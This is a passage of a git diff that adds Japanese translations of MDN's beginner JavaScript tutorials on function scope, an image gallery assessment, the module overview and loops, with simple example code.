+ + subFunction1(); + subFunction2(); + subFunction3(); +} + +function subFunction1() { + console.log(myValue); +} + +function subFunction2() { + console.log(myValue); +} + +function subFunction3() { + console.log(myValue); +} +</pre> + +<p>関数内で使用されている値が適切にスコープ内にあることを確認してください。上記の例では <code>ReferenceError: myValue is not defined</code> というエラーが発生します。<code>myValue</code>変数は関数呼び出しと同じスコープで定義されていますが、関数定義内では定義されていないためです。従って実際のコードは関数が呼び出されたときに実行されます。これを動くようにするには、次のように関数に値を渡す必要があります。</p> + +<pre class="brush: js notranslate">function myBigFunction() { + let myValue = 1; + + subFunction1(myValue); + subFunction2(myValue); + subFunction3(myValue); +} + +function subFunction1(value) { + console.log(value); +} + +function subFunction2(value) { + console.log(value); +} + +function subFunction3(value) { + console.log(value); +}</pre> + +<h2 id="スキルをテストしよう!">スキルをテストしよう!</h2> + +<p>この記事の最後に来ましたが、最も大事な情報を覚えていますか？次に移る前に、この情報を保持しているか検証するテストがあります — <a href="https://wiki.developer.mozilla.org/ja/docs/Learn/JavaScript/Building_blocks/Test_your_skills:_Functions">Test your skills: Functions</a> を見てください。このテストは次の 2 つの記事でカバーしているスキルを求めていますので、テストの前にそちらを読むほうが良いかもしれません。</p> + +<h2 id="Conclusion" name="Conclusion">まとめ</h2> + +<p>この記事では関数の背後にある基本的な概念を探り、次に実用的な方法を習得し、独自のカスタム関数を構築する手順を紹介しました。</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/JavaScript/Guide/Functions">関数の詳細ガイド</a> — ここに含まれていないいくつかの高度な機能について説明します。</li> + <li><a href="/ja/docs/Web/JavaScript/Reference/Functions">関数</a></li> + <li><a href="/ja/docs/Web/JavaScript/Reference/Functions/Default_parameters">デフォルト引数</a>, <a href="/ja/docs/Web/JavaScript/Reference/Functions/Arrow_functions">アロー関数</a> — 高度な概念リファレンス</li> +</ul> + +<ul> +</ul> + +<p>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Looping_code","Learn/JavaScript/Building_blocks/Build_your_own_function", "Learn/JavaScript/Building_blocks")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/conditionals">コードでの意思決定 — 条件文</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Looping_code">ループコード</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Functions">関数 — 再利用可能なコードブロック</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">独自の関数を作る</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Return_values">関数の戻り値</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Events">イベントの紹介</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Image_gallery">イメージギャラリー</a></li> +</ul> diff --git a/files/ja/learn/javascript/building_blocks/image_gallery/index.html b/files/ja/learn/javascript/building_blocks/image_gallery/index.html new file mode 100644 index 0000000000..2c8dc3c470 --- /dev/null +++ b/files/ja/learn/javascript/building_blocks/image_gallery/index.html @@ -0,0 +1,142 @@ +--- +title: イメージギャラリー +slug: Learn/JavaScript/Building_blocks/Image_gallery +tags: + - Assessment + - Beginner + - CodingScripting + - Conditionals + - Event Handler + - JavaScript + - Learn + - Loops + - events +translation_of: Learn/JavaScript/Building_blocks/Image_gallery +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}</div> + +<p class="summary">JavaScript の基本的な構成要素を見てきたところで、これからたくさんのウェブサイトで見かける項目、JavaScript で動作するイメージギャラリーをつくってみることで、あなたが得た繰り返し、関数、条件とイベントの知識を試してみましょう。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>この評価を行う前に、このモジュールにある記事すべてを実施していること。</td> + </tr> + <tr> + <th scope="row">目標:</th> + <td>JavaScript の繰り返し、関数、条件とイベントが理解できていることを確認する。</td> + </tr> + </tbody> +</table> + +<h2 id="Starting_point" name="Starting_point">出発点</h2> + +<p>この評価を始めるために、サンプルが入っているサイトから <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/gallery/gallery-start.zip?raw=true">ZIP ファイル</a> を取得して、コンピュータのどこかに展開しておきます。</p> + +<div class="note"> +<p><strong>注</strong>: 別の方法として, この評価を行うために <a class="external external-icon" href="http://jsbin.com/">JSBin</a> や <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> のようなサイトを使うことができます。これらのオンラインエディターに HTML、CSS、JavaScript を貼り付けることができます。利用するオンラインエディターが JavaScript/CSS パネルに分かれていなければ、 HTML ページの中の <code><script></code>/<code><style></code> 要素にそれらを貼り付けてください 。</p> +</div> + +<h2 id="Project_brief" name="Project_brief">プロジェクト概要</h2> + +<p>HTML、CSS と画像および数行の JavaScript のコードが提供されています。必要な JavaScript を書いて、これを動くプログラムにする必要があります。HTML のボディは次のようになっています:</p> + +<pre class="brush: html notranslate"><h1>Image gallery example</h1> + +<div class="full-img"> + <img class="displayed-img" src="images/pic1.jpg"> + <div class="overlay"></div> + <button class="dark">Darken</button> +</div> + +<div class="thumb-bar"> + +</div></pre> + +<p>例ではこのように見えます:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13787/gallery.png" style="display: block; margin: 0 auto;"></p> + +<ul> +</ul> + +<p>例にある CSS ファイルで最も興味深い部分:</p> + +<ul> + <li><code>full-img <div></code> の内側に 3 つの要素が絶対位置指定されています ー <code><img></code> にはフルサイズの画像が表示されています。その上に <code><img></code> と同じサイズになるようにサイズ調整された空の<code><div></code> が置かれています (これは半透明の背景色で画像を暗くする効果に使われます)。そして <code><button></code> は暗くする効果をコントロールするために使われます。</li> + <li><code>thumb-bar <div></code> (いわゆるサムネイル画像) 内の画像は幅を 20% に設定し、左側に浮かせて一行に並べています。</li> +</ul> + +<p>JavaScriptに必要なもの:</p> + +<ul> + <li>すべての画像をループさせる際、<code>thumb-bar <div></code> の中にその画像を埋め込む <code><img></code> 要素を挿入します。</li> + <li><code>onclick</code> ハンドラーを <code>thumb-bar <div></code> の中の <code><img></code> それぞれにつけます。それをクリックしたときにその画像が <code>displayed-img <img></code> 要素に表示されるようにします。</li> + <li><code>onclick</code> ハンドラーを <code><button></code> につけて、クリックされたらフルサイズ画像を暗くするようにします。再度クリックすると暗くする効果を外します。</li> +</ul> + +<p>もっとアイデアを加えると、<a href="http://mdn.github.io/learning-area/javascript/building-blocks/gallery/">最終的な例</a> のようになります (ソースコードをのぞかないように！)</p> + +<h2 id="Steps_to_complete" name="Steps_to_complete">完成へのステップ</h2> + +<p>次のセクションですべきことを説明します。</p> + +<h3 id="Looping_through_the_images" name="Looping_through_the_images">画像をループさせる</h3> + +<p>すでに <code>thumbBar</code> という変数に <code>thumb-bar <div></code> の参照を格納するようにしています。新しい <code><img></code> 要素を作って、その <code>src</code> 属性にプレースホルダーとして値 <code>xxx</code> をセットしてください。そして、新しい <code><img></code> 要素を <code>thumbBar</code> に追加してください。</p> + +<p>必要なこと:</p> + +<ol> + <li>"Looping through images" コメントの下のセクションのコードを全 5 画像をループする繰り返し処理のなかに置いて下さい — 各画像を表現する5つの数についてループするだけです。</li> + <li>各ループの反復で、プレースホルダー <code>xxx</code> の値を画像のパスに等しい文字列で置き換えてください。それぞれの場合で <code>src</code> 属性の値をこの値に設定します。いずれの場合も画像は画像ディレクトリーにあり、<code>pic1.jpg</code>、<code>pic2.jpg</code> というようなファイル名になっています。</li> +</ol> + +<h3 id="onclick_ハンドラーをそれぞれのサムネール画像に追加する">onclick ハンドラーをそれぞれのサムネール画像に追加する</h3> + +<p>各ループの反復で、現在の <code>newImage</code> に <code>onclick</code> ハンドラーを追加する必要があります — このハンドラは現在の画像の <code>src</code> 属性の値を見つけます。<code>displayed-img <img></code> の <code>src</code> 属性の値をパラメータとして渡されたものの <code>src</code> 値へ設定します。</p> + +<p>替わりに、サムネイルバーへ一つのイベントリスナーを追加することも出来ます。</p> + +<h3 id="Adding_an_onclick_handler_to_each_thumbnail_image" name="Adding_an_onclick_handler_to_each_thumbnail_image">暗くする/明るくするボタンを処理するハンドラーを書く</h3> + +<p>暗くする/明るくする <code><button></code> が残っています。<code>btn</code> という変数に <code><button></code> への参照を格納するコードはすでにご紹介しています。それらに <code>onclick</code> ハンドラーに追加する必要があります:</p> + +<ol> + <li><code><button></code> にセットされている現在のクラス名をチェックしますーこれもまた、<code>getAttribute()</code> を使えば取得できます。</li> + <li>クラス名が <code>"dark"</code> なら、<code><button></code> のクラスを (<code><a href="/ja/docs/Web/API/Element/setAttribute">setAttribute()</a></code> を使って) <code>"light"</code> に変更します。テキストも "Lighten" にします。そして、オーバーレイ<code> <div></code> の {{cssxref("background-color")}} を <code> "rgba(0,0,0,0.5)"</code> にします。</li> + <li>クラス名が<code> "dark"</code> でなければ、<code><button></code> のクラスを <code>"dark"</code> に変更します。テキストを "Darken" に戻します。そしてオーバーレイ <code><div></code> の {{cssxref("background-color")}} を <code>"rgba(0,0,0,0)"</code> にします。</li> +</ol> + +<p>次のコードは上記の 2 と 3 で示された変更を行う基本的なものです。</p> + +<pre class="brush: js notranslate">btn.setAttribute('class', xxx); +btn.textContent = xxx; +overlay.style.backgroundColor = xxx;</pre> + +<h2 id="Hints_and_tips" name="Hints_and_tips">ヒントとコツ</h2> + +<ul> + <li>HTML と CSS は全く編集する必要はありません。</li> +</ul> + +<h2 id="Assessment" name="Assessment">課題</h2> + +<p>組織されたコースの一部としてこの評価を行う場合、採点のため先生/メンターにあなたの成果を提出してください。もし、自習なら、<a href="https://discourse.mozilla.org/t/image-gallery-assessment/24687">このエクササイズに関するディスカッションのスレッド</a> や <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a> の <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC チャネルで尋ねれば、採点ガイドが簡単に得られるでしょう。まずエクササイズに挑戦してください。ーごまかしても何も得られません！</p> + +<p>{{PreviousMenu("Learn/JavaScript/Building_blocks/Events", "Learn/JavaScript/Building_blocks")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/conditionals">コードでの意思決定 — 条件文</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Looping_code">ループコード</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Functions">関数 — 再利用可能なコードブロック</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">独自の関数を作る</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Return_values">関数の戻り値</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Events">イベントの紹介</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Image_gallery">イメージギャラリー</a></li> +</ul> diff --git a/files/ja/learn/javascript/building_blocks/index.html b/files/ja/learn/javascript/building_blocks/index.html new file mode 100644 index 0000000000..74ec4ff45f --- /dev/null +++ b/files/ja/learn/javascript/building_blocks/index.html @@ -0,0 +1,56 @@ +--- +title: JavaScript の構成要素 +slug: Learn/JavaScript/Building_blocks +tags: + - Article + - Assesment + - Beginner + - CodingScripting + - Conditionals + - Functions + - Guide + - JavaScript + - Landing + - Loops + - Module + - events + - 'l10n:priority' +translation_of: Learn/JavaScript/Building_blocks +--- +<div>{{LearnSidebar}}</div> + +<p class="summary"><span id="result_box" lang="ja"><span>このモジュールでは、条件付きステートメント、ループ、関数、イベントなど一般的に発生するコードブロックの種類に注目し、JavaScript の重要な基本機能をすべてカバーしていきます。コースの中で既にこれらを目にしているのですが、説明を省いてきました。ここではすべて明示的に説明を行います。</span></span></p> + +<h2 id="Prerequisites" name="Prerequisites">前提条件</h2> + +<p>このモジュールを始める前に、<a href="/docs/Learn/HTML/Introduction_to_HTML">HTML</a> や <a href="/docs/Learn/CSS/Introduction_to_CSS">CSS </a>の基本に慣れておくべきです。また前のモジュールの <a href="/docs/Learn/JavaScript/First_steps">JavaScript の第一歩</a> も終了させておくべきです。</p> + +<div class="note"> +<p><strong>注記 </strong>: もしあなたが作業しているコンピュータ・タブレットやその他のデバイスで自分でファイルを作れない場合は、<a href="http://jsbin.com/">JSBin</a> や <a href="https://glitch.com/">Glitch</a> といったようなオンラインコーディングプログラムで (ほとんどの場合) 試すことができます。</p> +</div> + +<h2 id="Guides" name="Guides">ガイド</h2> + +<dl> + <dt><a href="/ja/docs/Learn/JavaScript/Building_blocks/conditionals">コード内で決定を下す — 条件</a></dt> + <dd><span id="result_box" lang="ja"><span>どんなプログラミング言語でも、コードは異なる入力に応じて決定を下し、それに応じてアクションを実行する必要があります。</span></span>例えば、ゲームではもしプレイヤーのライフが 0 だった場合、ゲームオーバーになります。お天気アプリでは、朝に見た場合には朝日の画像を表示し、夜に見た場合には星と月を表示します。<span id="result_box" lang="ja"><span>この記事では、条件の構造が JavaScript でどのように機能するかを説明します。</span></span></dd> + <dt><a href="/ja/docs/Learn/JavaScript/Building_blocks/Looping_code">ループコード</a></dt> + <dd><span id="result_box" lang="ja"><span>場合によっては、一度にタスクを</span></span><span lang="ja"><span>複数回実行しなければならないことがあります。</span> 例えば<span>名前のリスト全体を調べる場合です。</span><span>プログラミング時に、ループはこのような処理を非常にうまく実行します。</span><span>ここでは JavaScript のループ構造を見ていきます。</span></span></dd> + <dt><a href="/ja/docs/Learn/JavaScript/Building_blocks/Functions">関数 — 再利用可なコードブロック</a></dt> + <dd><span id="result_box" lang="ja"><span>コーディングのもう一つの重要な概念は<strong>関数</strong>です。</span> <span><strong>関数</strong>を使用すると、定義されたブロック内に単一のタスクを実行するコードを格納し、同じコードを複数回入力するのではなく、単一の短いコマンドを使用して必要となる時にコードを呼び出すことができます。</span><span>この記事では、基本的な構文、関数、スコープ、パラメータを呼び出す方法と定義する方法など、関数の背後にある基本的な概念について説明します。</span></span></dd> + <dt><a href="/ja/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">独自の関数を構築する</a></dt> + <dd><span id="result_box" lang="ja"><span>前の記事で扱った必須の理論の多くを用いて、この記事では実用的な体験を提供しています。</span><span>ここでは、独自のカスタム関数を構築するための練習をします。</span> <span>また進むにつれ、関数を扱うためのさらに便利な詳細についても説明します。</span></span></dd> + <dt><a href="/ja/docs/Learn/JavaScript/Building_blocks/Return_values">関数の戻り値</a></dt> + <dd><span id="result_box" lang="ja"><span>関数について知っておくべき最後の必須コンセプトは戻り値</span></span><span lang="ja"><span>です。一部の関数は完了後に意味のある値を返しませんが、他の関数は返します。</span><span>値が何であるか、コードでそれらを使用する方法、独自のカスタム関数で有用な値を返す方法を理解することが重要です。</span></span></dd> + <dt><a href="/ja/docs/Learn/JavaScript/Building_blocks/Events">イベントへの入門</a></dt> + <dd><span id="result_box" lang="ja"><span>イベントとは、プログラミング中のシステムで発生するアクションまたは事象</span></span><span lang="ja"><span>のことで、システムによって通知され、必要に応じて何らかの方法で応答できるようにするものです。</span>例えば<span>、ユーザが Web ページ上のボタンをクリックすると、情報ボックスを表示することでそのアクションに応答することができます。</span><span>この最後の記事では、イベントを取り巻くいくつかの重要な概念について説明し、それらがブラウザでどのように機能するかを見ていきます。</span></span></dd> +</dl> + +<h2 id="Assessments" name="Assessments">評価</h2> + +<p><span class="short_text" id="result_box" lang="ja"><span>以下の評価は、上のガイドで取り上げた JavaScript の基礎についての理解をテストします。</span></span></p> + +<dl> + <dt><a href="/ja/docs/Learn/JavaScript/Building_blocks/Image_gallery">イメージギャラリー</a></dt> + <dd><span id="result_box" lang="ja"><span>JavaScript の基本的な構成要素を見てきましたので、JavaScript で動く画像ギャラリーという、</span></span><span lang="ja"><span>多くの Web サイトで見ることができるかなり一般的なアイテムを構築することで、ループ、関数、条件文、イベントに関する知識をテストします</span></span>。</dd> +</dl> diff --git a/files/ja/learn/javascript/building_blocks/looping_code/index.html b/files/ja/learn/javascript/building_blocks/looping_code/index.html new file mode 100644 index 0000000000..dd5e724fca --- /dev/null +++ b/files/ja/learn/javascript/building_blocks/looping_code/index.html @@ -0,0 +1,933 @@ +--- +title: ループコード +slug: Learn/JavaScript/Building_blocks/Looping_code +tags: + - Article + - Beginner + - CodingScripting + - DO + - Guide + - JavaScript + - Learn + - Loop + - break + - continue + - for + - 'l10n:priority' + - while +translation_of: Learn/JavaScript/Building_blocks/Looping_code +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/conditionals","Learn/JavaScript/Building_blocks/Functions", "Learn/JavaScript/Building_blocks")}}</div> + +<p class="summary">プログラミング言語は、繰り返し実行するタスクを素早く終わらせるのがとても得意です。基本的な計算処理から、同じような作業がたくさんあるのならどんな状況でもこなします。今度は JavaScript でそういった目的を果たすために使用するループ構造を見てみましょう。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターの知識および HTML と CSS への理解、<a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps">JavaScript の第一歩</a>。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>JavaScript でループの使い方を理解する。</td> + </tr> + </tbody> +</table> + +<h2 id="Keep_me_in_the_loop" name="Keep_me_in_the_loop">ループの中にとどまる</h2> + +<p>ループ、ループ、ループ。<a href="https://en.wikipedia.org/wiki/Froot_Loops">朝食用シリアル</a>や、<a href="https://en.wikipedia.org/wiki/Vertical_loop">ジェットコースター</a>、<a href="https://en.wikipedia.org/wiki/Loop_(music)">音楽</a>でもおなじみですが、プログラミングにおいても、とても重要な概念です。プログラミングにおけるループとは同じことを何度も何度も繰り返すことで、<strong>反復</strong>や<strong>繰り返し</strong>とも言われます。</p> + +<p>それでは、農家のケースについて考えてみましょう。彼は家族を養うため十分な食料があるか確認しようとしています。それを実現するため、以下のようなループを使用するでしょう。</p> + +<p><br> + <img alt="" src="https://mdn.mozillademos.org/files/13755/loop_js-02-farm.png" style="display: block; margin: 0px auto;"></p> + +<p>ループにはたいてい以下のような機能があります。</p> + +<ul> + <li><strong>カウンター:</strong> ループの開始地点で、初期化される値です。(上記の絵の、"I have no food" [食料がない] の部分です)。</li> + <li><strong>条件:</strong> ループの実行を継続するか終了するかを決める true/false の判定です。たいていはカウンターがある値に達した場合に終了します。上記の絵の、"Do I have enough food?" [十分な食料があるか？] の部分です。例えば、家族に食べさせる 10 個の食料が必要である、というようなことです。</li> + <li><strong>イテレーター:</strong> これは一般的には条件が <code>true</code>. では無くなるまで、カウンターの値をループごとに少量ずつ増加させます。上記の絵には明示的には描いていませんが、農家が 1 時間に 2 つの食料を集めることができると考えるとします。この場合、1 時間ごとに 2 つずつ食料が増えていき、農家は十分な食料が集まったかを確認することができます。もし食料が 10 個になったら (条件が true では無くなったため、ループが終了するポイント)、集めるのをやめて家に帰ることができるでしょう。</li> +</ul> + +<p>{{glossary("pseudocode", "疑似コード")}}では、以下のようになるでしょう。</p> + +<pre class="notranslate">loop(food = 0; foodNeeded = 10) { + if (food >= foodNeeded) { + exit loop; + // 十分な食料が集まりました。家に帰りましょう + } else { + food += 2; // 1 時間経って 2 つの食料を集めました + // ループはさらに続きます + } +}</pre> + +<p>最初に、必要な食料が 10 に設定され、農家が現在持っている食料は 0 に設定されます。ループの繰り返しごとに、農家の持っている食料が必要な食料の数に等しいかを調べています。もしそうであれば、ループを抜けられます。そうでなければ、農家は 1 時間ごとに 2 つの食料を集めるのを繰り返します。</p> + +<h3 id="Why_bother" name="Why_bother">どうしてこんなことをするの？</h3> + +<p>これで、恐らくループの背後にあるコンセプトが理解できたことでしょう。けれど、「それが JavaScript のコードを書くのにどう役立つの？」と思っているかもしれませんね。先ほど<strong>ループは同じことを繰り返すこと</strong>だと言いいましたが、それは<strong>素早く繰り返し同じ作業を完了させる</strong>のに最適なことなのです。</p> + +<p>たいてい、コードはループの連続する反復のたびごとにわずかに異なるものになります。つまり、似ているけれどわずかに異なる多数のタスク全体を完了出来るのです。もしたくさんの異なる計算をしなければならないとしたら、同じことを何度も何度もするのではなく、それぞれ異なることをしたいですよね。</p> + +<p>ループがどれだけ素晴らしいものかを説明する例を見てみましょう。100 個のランダムな円を {{htmlelement("canvas")}} 要素に描きたいとします (<em>更新</em>ボタンを押して、例を何度となく実行し、結果が異なることを見てみましょう。)</p> + +<div class="hidden"> +<h6 id="Hidden_code" name="Hidden_code">Hidden code</h6> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>キャンバスに描くランダムな円</title> + <style> + html { + width: 100%; + height: inherit; + background: #ddd; + } + + canvas { + display: block; + } + + body { + margin: 0; + } + + button { + position: absolute; + top: 5px; + left: 5px; + } + </style> + </head> + <body> + + <button>更新</button> + + <canvas></canvas> + + + <script> + const btn = document.querySelector('button'); + const canvas = document.querySelector('canvas'); + const ctx = canvas.getContext('2d'); + + let WIDTH = document.documentElement.clientWidth; + let HEIGHT = document.documentElement.clientHeight; + + canvas.width = WIDTH; + canvas.height = HEIGHT; + + function random(number) { + return Math.floor(Math.random()*number); + } + + function draw() { + ctx.clearRect(0,0,WIDTH,HEIGHT); + for (let i = 0; i < 100; i++) { + ctx.beginPath(); + ctx.fillStyle = 'rgba(255,0,0,0.5)'; + ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI); + ctx.fill(); + } + } + + btn.addEventListener('click',draw); + + </script> + + </body> +</html></pre> +</div> + +<p>{{ EmbedLiveSample('Hidden_code', '100%', 400, "", "", "hide-codepen-jsfiddle") }}</p> + +<p>今はコードをすべて理解する必要はありません。ですが、コードの一部で 100 個の円を実際に描いている箇所を見てみましょう。</p> + +<pre class="brush: js notranslate">for (let i = 0; i < 100; i++) { + ctx.beginPath(); + ctx.fillStyle = 'rgba(255,0,0,0.5)'; + ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI); + ctx.fill(); +}</pre> + +<ul> + <li><code>random(x)</code> はコードの前半で定義され、<code>0</code> から <code>x-1</code> までの整数を返します</li> + <li><code>WIDTH</code> と <code>HEIGHT</code> は、内側のブラウザーウィンドウの幅と高さです。</li> +</ul> + +<p>基本的な考えがわかりましたか？このコードをループを使用して 100 回実行しますが、毎回ページ内のランダムな場所に円を描いています。必要なコードは 100 個の円を描くときも、1000 個でも 10,000 個でも同じです。1 か所だけ変更すればいいのです。</p> + +<p>ここでループを使用しないとすれば、次のコードを描きたい数だけ繰り返し書かなければなりません。</p> + +<pre class="brush: js notranslate">ctx.beginPath(); +ctx.fillStyle = 'rgba(255,0,0,0.5)'; +ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI); +ctx.fill();</pre> + +<p>これはとてもつまらなく、素早くメンテナンスするのが難しいコードです。ループが一番良いです。</p> + +<h2 id="The_standard_for_loop" name="The_standard_for_loop">標準的な for ループ</h2> + +<p>ここからは、具体的なループの構造を見ていきましょう。最初は、特によく使うことになるであろう <a href="/ja/docs/Web/JavaScript/Reference/Statements/for">for</a> ループについてです。構文は以下の通りです。</p> + +<pre class="notranslate">for (初期化処理; 条件; 最後の式) { + // 実行するコード +}</pre> + +<p>ここでは...</p> + +<ol> + <li><code>for</code> キーワードに続き括弧があります。</li> + <li>括弧の中にはセミコロンで区切られて以下の項目があります。 + <ol> + <li><strong>初期化処理</strong>: これはたいていの場合、繰り返し回数分増やしていく変数の初期化処理となります。この変数を<strong>カウンター変数</strong>と呼ぶことがあります。</li> + <li><strong>条件</strong>: 既に取り上げた通り、これはループが繰り返しをやめるべき条件を定義します。ほとんどの場合は比較演算子を伴って、終了条件を満たしているかを判定します。</li> + <li><strong>最後の式</strong>: これはループの 1 回が終了する度に評価される (または実行される) コードです。大体、カウンター変数を増やし(または減らし)、条件が <code>true</code> では無くなるポイントに近づけていきます。</li> + </ol> + </li> + <li>そして中括弧があり、中括弧の中のコードブロックが各ループの繰り返しで実行されます。</li> +</ol> + +<p>それでは実際の例を見て、これらを明確に分かるようにしてみましょう。</p> + +<pre class="brush: js notranslate">const cats = ['ビル', 'ジェフ', 'ピート', 'ビッグルズ', 'ジャスミン']; +let info = '私の猫の名前は、'; +const para = document.querySelector('p'); + +for (let i = 0; i < cats.length; i++) { + info += cats[i] + '、'; +} + +para.textContent = info;</pre> + +<p>これで次の結果が得られます。</p> + +<div class="hidden"> +<h6 id="Hidden_code_2" name="Hidden_code_2">Hidden code 2</h6> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>for ループの例</title> + <style> + + </style> + </head> + <body> + + <p></p> + + + <script> + const cats = ['ビル', 'ジェフ', 'ピート', 'ビッグルズ', 'ジャスミン']; + let info = '私の猫の名前は、'; + const para = document.querySelector('p'); + + for (let i = 0; i < cats.length; i++) { + info += cats[i] + '、'; + } + + para.textContent = info; + + </script> + + </body> +</html></pre> +</div> + +<p>{{ EmbedLiveSample('Hidden_code_2', '100%', 60, "", "", "hide-codepen-jsfiddle") }}</p> + +<div class="note"> +<p><strong>注</strong>: <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/basic-for.html">このコードは GitHub でも</a>見られます (<a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/basic-for.html">動くデモも</a>ありますよ)。</p> +</div> + +<p>これは配列のすべての要素に対して、繰り返し何かを実行するループの使用例です。JavaScript ではとてもよく見られるパターンです。</p> + +<ol> + <li><code>i</code> をカウンター変数(イニシャライザーやイテレーター変数ともいう)として、<code>0</code> から開始します (<code>let i = 0</code>)。</li> + <li><code>i</code> が <code>cats</code> 配列の長さより小さくなくなるまで実行すると、ループには指定されています。これは重要です、条件にはループが継続するための条件が示されています。今回は、<code>i < cats.length</code> が真となるため、ループは継続します。</li> + <li>ループの内側では、現在繰り返し対象となる項目 (<code>cats[i]</code> は <code>cats[i に入っているそのときの値]</code> となります) を <code>info</code> 変数に対してカンマとスペースとともに結合しています。つまり... + <ol> + <li>初回の実行時には、<code>i = 0</code> なので <code>cats[0] + ', '</code> ("ビル、") が <code>info</code> に対して結合されます。</li> + <li>2 回目の実行時には、<code>i = 1</code> なので <code>cats[1] + ', '</code> ("ジェフ、") が <code>info</code> に対して結合されます。</li> + <li>このように、ループ内の処理が実行されるたび、1 が <code>i</code> に加算され (<code>i++</code>)、次の処理が開始されます。</li> + </ol> + </li> + <li><code>i</code> が <code>cats.length</code> の値 (ここでは 5) と等しくなったときにループは終了し、ブラウザーはループの後に続くコードを実行します。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: 条件を <code>i <= cats.length</code> ではなく、<code>i < cats.length</code> としているのは、コンピューターが数値を 1 からではなく、0 から数えるためです。コードでも <code>i</code> を <code>0</code> から始め、<code>i = 4</code> (配列内の要素の最後のインデックス) となるまで加算していきます。配列内の要素が 5 つなので <code>cats.length</code> は 5 となりますが、<code>i = 5</code> とすると、(配列に 5 のインデックスの要素がないので) <code>undefined</code> となってしまいます。なので、<code>cats.length</code> と同じ値まで (<code>i <=</code>) ではなく、<code>i</code> の最大値を 1 減らして <code>cats.length</code> より小さくなる (<code>i <</code>) まで加算しています。</p> +</div> + +<div class="note"> +<p><strong>注</strong>: 条件の指定でよくある間違いは「以下」(<code><=</code>) ではなく、「等しい」(<code>===</code>) を使ってしまうことです。もし、<code>i = 5</code> となるまでループを実行したければ、終了条件は <code>i <= cats.length</code> と指定しなければなりません。<code>i === cats.length</code> と指定した場合、ループは 1 度も実行されずに終了してしまいます。なぜなら、ループの最初では <code>i</code> が <code>5</code> ではないため、そこで終わってしまうからです。</p> +</div> + +<p>残る小さな問題は、出力された文が完全ではないことです。</p> + +<blockquote> +<p>私の猫の名前は、ビル、ジェフ、ピート、ビッグルズ、ジャスミン、</p> +</blockquote> + +<p>ループの最後の結合処理を変更して文の最後が「、」で終わらないようにしたいと思います。まったく問題ありません。ループの中に条件ブロックを挿入して、これに対処しましょう。</p> + +<pre class="brush: js notranslate">for (let i = 0; i < cats.length; i++) { + if (i === cats.length - 1) { + info += cats[i] + 'です。'; + } else { + info += cats[i] + '、'; + } +}</pre> + +<div class="note"> +<p><strong>注</strong>: <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/loops/basic-for-improved.html">このコードは GitHub でも</a>見られます (<a href="http://mdn.github.io/learning-area/javascript/building-blocks/loops/basic-for-improved.html">動いているデモも</a>あります)。</p> +</div> + +<div class="warning"> +<p><strong>重要</strong>: for ループ (他のループも同様) では、カウンター変数を増加、もしくは場合により減少させて、最終的に条件が true では無くなるポイントに達するようにする必要があります。もしそうで無い場合、ループは永遠に回り続け、ブラウザーが強制的に停止するか、クラッシュしてしまうでしょう。これは<strong>無限ループ</strong>といいます。</p> +</div> + +<h2 id="Exiting_loops_with_break" name="Exiting_loops_with_break">break でループを終了する</h2> + +<p>すべての繰り返し処理が終了する前にループを終了したいとき、<a href="/ja/docs/Web/JavaScript/Reference/Statements/break">break</a> 文を使用して終了させることができます。前回の記事、<a href="/ja/Learn/JavaScript/Building_blocks/conditionals#switch_statements">switch 文</a>で、入力した値が switch 文の case にマッチしたとき、switch 文を抜け、それ以降のコードを実行するために <code>break</code> 文を使用しました。 </p> + +<p>これはループでも同様で、<code>break</code> 文を使用することで即時にループを抜けて、ブラウザーに続きのコードを実行させることができます。</p> + +<p>それでは、連絡先 (電話番号を持っている) の配列の中から特定の連絡先を検索してみましょう。まずは HTML です。検索するテキスト入力用の {{htmlelement("input")}} 要素と、検索内容を送信 (submit) する {{htmlelement("button")}} 要素、検索結果を表示する {{htmlelement("p")}} 要素を備えます。</p> + +<pre class="brush: html notranslate"><label 